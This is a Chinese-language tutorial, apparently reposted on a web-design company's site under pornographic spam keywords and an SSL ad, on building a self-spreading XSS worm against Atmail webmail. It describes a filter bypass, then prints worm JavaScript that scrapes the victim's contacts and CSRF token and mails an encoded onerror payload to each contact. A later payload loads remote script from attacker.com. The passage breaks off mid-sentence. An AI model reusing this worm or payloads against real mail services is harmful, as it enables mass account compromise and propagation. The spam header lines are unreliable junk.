真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

如何在Atmail上構(gòu)建XSS蠕蟲

這期內(nèi)容當中小編將會給大家?guī)碛嘘P(guān)如何在Atmail上構(gòu)建XSS蠕蟲,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

河間ssl適用于網(wǎng)站、小程序/APP、API接口等需要進行數(shù)據(jù)傳輸應(yīng)用場景,ssl證書未來市場廣闊!成為創(chuàng)新互聯(lián)的ssl證書銷售渠道,可以享受市場價格4-6折優(yōu)惠!如果有意向歡迎電話聯(lián)系或者加微信:028-86922220(備注:SSL證書合作)期待與您的合作!

前言

Atmail是一個熱門的云服務(wù)以及電子郵件托管提供商,目前有很多公司、主機服務(wù)商和ISP都在使用Atmail,比如說DreamHost、LegalShield (美國)、m:tel(波斯尼亞)、iiNet和Optus (澳大利亞)。作為DreamHost上的一名Atmail用戶,當我在專注于漏洞獎勵項目的過程中,我曾見過幾次令我印象深刻的基于電子郵件的跨站腳本(XSS)攻擊。當時我曾嘗試從他們的Web郵件客戶端中尋找安全漏洞,幾個小時后我便開發(fā)出了一個可用的Payload,但是我想更進一步,也就是構(gòu)建一個舊式的XSS蠕蟲。最著名的XSS蠕蟲就是2005年感染MySpace的蠕蟲病毒了,而且在2014年這個蠕蟲的最新變種還成功感染了    TweetDeck。

我將會給大家演示如何構(gòu)建一個可以通過目標用戶聯(lián)系人來進行自我傳播的XSS Payload。

測試環(huán)境

在開始之前,我們需要搭建一個簡單的測試環(huán)境。我們可以通過下列命令來發(fā)送電子郵件,然后在郵件內(nèi)容中植入XSS測試Payload:

cat content | mail -a "Content-type: text/html" -s "test" victim1@zjulian.com

接下來,使用Firefox的開發(fā)者工具來查看XSS Payload在Web郵件客戶端的DOM中是如何呈現(xiàn)的。

構(gòu)建XSS Payload

第一步,就是要構(gòu)建一個能夠繞過Atmail內(nèi)容過濾器的XSS Payload。我一開始發(fā)送了一封包含了全部有效HTML標簽的郵件,然后看看它是否能夠成功送達,盡管我只打算使用標簽。不過,標簽雖然非常適合構(gòu)建XSS Payload,但是在XSS觸發(fā)之前,目標用戶必須要選擇在Atmail中顯示圖像才行。因此我們得使用那些不需要用戶交互便可以呈現(xiàn)內(nèi)容的標簽,這樣才能提升Payload的質(zhì)量。

接下來,我開始研究Atmail是如何清除Payload的。Atmail為了對郵件內(nèi)容進行過濾,并在用戶瀏覽器中顯示語法正確的標記信息,Atmail會對標簽中的字符和HTML屬性進行修改。研究之后我發(fā)現(xiàn),Atmail只接受src、alt、longdesc、style、height和width這幾個屬性,而且我還注意到,Atmail會將單引號轉(zhuǎn)換為雙引號,移除onerror事件,并且移除所有不包含src屬性的標簽。

雖然onerror事件被移除了,但是如果能夠在標簽中同時使用單引號和雙引號的話,也許能夠繞過Atmail的過濾機制。顯然,這樣是可行的:

下面就是呈現(xiàn)在Web郵件客戶端中的內(nèi)容:

如何在Atmail上構(gòu)建XSS蠕蟲

構(gòu)建蠕蟲

找到了有用的XSS向量之后,下一步就是創(chuàng)建一個Payload來傳播我的電子郵件蠕蟲。我編寫了一份JavaScript代碼,然后完成了下列三件事:

1、 提取目標用戶的聯(lián)系人列表;

2、 從Atmail提取有效的CSRF令牌;

3、 向目標用戶聯(lián)系人列表中的每一位用戶發(fā)送惡意郵件;

代碼大致如下,XSS Payload以URL編碼的形式提供:

//HTTP request to grab victim's contactsxmlHttp=newXMLHttpRequest();xmlHttp.open('GET','/index.php/mail/contacts/viewcontacts/GroupID/0',false);xmlHttp.send(null);response=xmlHttp.responseText; //Extract email addresses and filter duplicatesvar extractedemails = response.match(/[A-Z0-9._%+-]+@[A-Z0-9.-]+.[A-Z]{2,4}/igm);var uniqueemails = [];for(vari = 0; i < extractedemails.length; i++){if(uniqueemails.indexOf(extractedemails[i]) == -1)uniqueemails.push(extractedemails[i]);} //HTTP request to get CSRF tokenxmlHttp.open('GET','/index.php/mail/contacts',false);xmlHttp.send(null);response2=xmlHttp.responseText;var csrftoken = response2.match(/name=\"atmailCSRF"value=\"(.+?)\"/im); //Loop through contacts and send emailfor(var i = 0; i < uniqueemails.length; i++) {       xmlHttp.open('POST','/index.php/mail/composemessage/send',false);       var params = 'atmailCSRF=' + csrftoken[1]+ '&emailTo=' + unique[i] +'&emailSubject=open%20me&emailBodyHtml=%3c%68%33%3e%61%74%6d%61%69%6c%20%65%6d%61%69%6c%20%58%53%53%20%77%6f%72%6d%3c%2f%68%33%3e%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%3c%69%6d%67%20%6c%6f%6e%67%64%65%73%63%3d%22%73%72%63%3d%27%78%27%6f%6e%65%72%72%6f%72%3d%65%76%61%6c%28%77%69%6e%64%6f%77%2e%61%74%6f%62%28%27%61%57%35%6a%62%48%56%6b%5a%54%31%6b%62%32%4e%31%62%57%56%75%64%43%35%6a%63%6d%56%68%64%47%56%46%62%47%56%74%5a%57%35%30%4b%43%64%7a%59%33%4a%70%63%48%51%6e%4b%54%74%70%62%6d%4e%73%64%57%52%6c%4c%6e%4e%79%59%7a%30%6e%61%48%52%30%63%48%4d%36%4c%79%39%68%64%48%52%68%59%32%74%6c%63%69%35%6a%62%32%30%76%59%58%52%74%59%57%6c%73%4c%6d%70%7a%4a%7a%74%6b%62%32%4e%31%62%57%56%75%64%43%35%6f%5a%57%46%6b%4c%6d%46%77%63%47%56%75%5a%45%4e%6f%61%57%78%6b%4b%47%6c%75%59%32%78%31%5a%47%55%70%4f%77%3d%3d%27%29%29%3b%2f%2f%3e%3c%69%6d%67%20%22%20%73%72%63%3d%27%73%68%6f%77%6d%65%27%3e';       xmlHttp.setRequestHeader('Content-type','application/x-www-form-urlencoded');       xmlHttp.send(params);

首先,我嘗試過Base64編碼,然后把XSS Payload嵌入到了onerror事件中。接下來,代碼會使用eval(atob())來解碼并執(zhí)行Payload代碼:

但是,我發(fā)現(xiàn)Atmail會將我Base64編碼的字符串壓縮到945個字符,這就太短了。所以我打算把它托管到一個外部地址,然后重寫我的XSS Payload:

onerror="include=document.createElement('script');include.src='https://attacker.com/atmail.js';document.head.appendChild(include);"

上面這段Payload代碼會在頁面元素中創(chuàng)建一個新的